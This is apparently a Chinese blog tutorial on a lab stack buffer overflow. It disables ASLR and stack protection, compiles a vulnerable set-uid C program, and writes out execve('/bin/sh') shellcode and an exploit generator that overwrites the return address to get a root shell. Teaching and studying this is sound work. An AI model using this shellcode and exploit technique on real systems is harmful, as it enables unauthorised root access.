如果需要一些前沿知识请看我前两篇博客汇编与反汇编入门-X86 AT&T汇编和初探缓冲区溢出。
Ubuntu 和其他一些 Linux 系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,**而猜测内存地址是缓冲区溢出攻击的关键。**命令如下:
sudo sysctl -w kernel.randomize_va_space=0
因为bash对set-uid程序获得root权限有防护措施,所以最好用zsh,具体见我之前的一篇文章SET-UID程序漏洞
sudo su
rm sh
ln -s zsh sh
exit
输入
linux32
其实shellcode就是一段代码,之前我们提到过由于缓冲区溢出,数据覆盖了返回地址,比如将返回地址覆盖为JMP ESP,接下来会跳到ESP位置(栈顶),在栈顶位置写入ShellCode。先写下C代码如下:
#include<stdio.h>
#include<unistd.h>
int main(int argc,char*argv[]){
char *array[2];
array[0]="/bin/sh";
array[1]=NULL;
execve(array[0],array,NULL);
}
将这段C代码转为ShellCode(这段代码的汇编版本)可能有点难理解,可以借鉴如何编写并编译一个shellcode(linux)里面有详细说明
\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
写入代码如下:
/*
*这段程序肯定是有缓冲区溢出漏洞的
* */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
/* 很明显是这个函数出现的*/
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
程序相对简单,是将文件打开,并读这个文件的517字节,装入buffer,buffer只有12字节,肯定是会溢出的。
在这里提点题外话,现在的Linux系统很多都有对抗缓冲区溢出攻击,主要是三种
1. 地址随机化(之前已经随机化了)
2. 栈破坏检查(使用gcc编译时要加入参数-fno-stack-protector)
3. 限制可执行代码区域
以上来自CSAPP
现在来编译,将这个程序编译为set-uid程序
sudo su
gcc -g -z execstack -fno-stack-protector stack.c -o stack -m32
chmod u+s stack
exit
这里-g是便于后面使用gdb调试,-z execstack是允许执行栈,-fno-stack-protector是关闭gcc栈保护机制
攻击程序如下expoloit.c
*
*创建一个文件里面有ShellCode
* */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
//这是我们之前得到的ShellCode
char shellcode[] =
"\x31\xc0" //xorl %eax,%eax
"\x50" //pushl %eax
"\x68""//sh" //pushl $0x68732f2f
"\x68""/bin" //pushl $0x6e69622f
"\x89\xe3" //movl %esp,%ebx
"\x50" //pushl %eax
"\x53" //pushl %ebx
"\x89\xe1" //movl %esp,%ecx
"\x99" //cdq
"\xb0\x0b" //movb $0x0b,%al
"\xcd\x80" //int $0x80
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* 初始化缓冲区 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* 填入缓冲区 */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??"); //在buffer特定偏移处起始的四个字节覆盖sellcode地址
strcpy(buffer + 100, shellcode); //将shellcode拷贝至buffer,偏移量设为了 100
/* 创建并存储文件 "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
这个x??处需要添上 shellcode 保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。而 strcpy(buffer+100,shellcode); 这一句又告诉我们,shellcode 保存在 buffer + 100 的位置。
为了得到shellCode在内存中的地址我们需要使用gdb进行调试(调试之前得到的stack),disassemble命令可以看到反汇编代码
gdb stack
disassemble main
esp中就是str的起始地址
每台计算机地址可能不同,所以最好自己调试,我在0x00001284处设置断点其实就是在stack.c中的badfile = fopen(“badfile”, “r”); 处设置断点,我这里是23行,设置断点后,运行,然后打印esp的地址即缓冲区的起始地址
记录下这里的0xffffcf50。在expoloit.c中的strcpy(buffer + 100, shellcode); 知道shellcode在buffer加上100处,所以我们通过计算十六进制可得到shellcode地址,100的十六进制为64,进入十六进制计算网站,输入0xffffcf50与0x64。
可以知道shellcode地址为0xFFFFCFB4所以我们expoloit.c中的strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");最后的\x??\x??\x??\x??可以填入**\xb4\xcf\xff\xff**(会覆盖掉函数栈的返回地址,注意填入顺序是反的,我之前的博客初探缓冲区溢出有相关内容,见前言)。然后对程序进行编译。
gcc expoloit.c -o expoloit -m32
这次实验挺有难点,需要许多前置的知识,难点尤其在ShellCode的编写,逻辑其实就是编写C语言代码,将其转换为ShellCode(这里的C语言执行execve)。
漏洞程序是将badfile文件中的内容通过strcpy函数复制入缓冲区,而缓冲区空间必然不足,所以会溢出(这一个漏洞程序是set-uid程序)。
而攻击程序其实就是将shellcode写入badfile中,写入的最后四个字节其实就是ShellCode要放的地址会覆盖掉函数栈的返回地址。相当于到函数到ret指令后会跳转到ShellCode,即执行execve函数,由于zsh+set-uid程序的组合导致特别危险,从而获得root权限。
所以先执行攻击程序再执行漏洞程序,从而成功hack。